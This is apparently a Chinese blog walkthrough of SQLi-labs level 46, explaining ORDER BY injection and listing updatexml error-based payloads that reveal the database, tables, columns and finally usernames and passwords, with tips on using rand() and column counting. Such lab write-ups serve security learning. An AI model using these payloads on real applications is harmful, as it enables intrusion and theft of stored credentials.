sqllabs第46关 order by 注入

简介:(order by注入-错误回显-POST注入)

请求方法:POST

方法:order by注入+错误回显+数字型注入

先了解下 order by参数注入:

order by 注入是指其后面的参数是可控的,

order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。

判断库名:

?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)

判断表名:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)

判断字段名:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)

查询数据:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)

1.第四十六关可以看到提示: Please input parameter as SORT with numeric value
用数字形式输入sort排序参数
2.尝试加上' 看看是否存在报错注入。

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

3.判断字段数发现到第四个回显时报错,说明只有三个字段,当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。
 4.库名、表名、字段、数据:

相关推荐

  1. sqllab48-65通关笔记

    2024-02-22 15:30:02       43 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-22 15:30:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-22 15:30:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-22 15:30:02       82 阅读
  4. Python语言-面向对象

    2024-02-22 15:30:02       91 阅读

热门阅读

  1. el-select加上搜索查询时,限制开头空格输入

    2024-02-22 15:30:02       53 阅读
  2. 微众银行:始于数字原生,立于普惠金融

    2024-02-22 15:30:02       53 阅读
  3. 主流无人机开源飞控

    2024-02-22 15:30:02       53 阅读
  4. 大模型中的token是什么?

    2024-02-22 15:30:02       52 阅读
  5. windows命令行加入与移除管理员组

    2024-02-22 15:30:02       57 阅读
  6. SpringBoot项目启动后执行指定方法的四种实现

    2024-02-22 15:30:02       53 阅读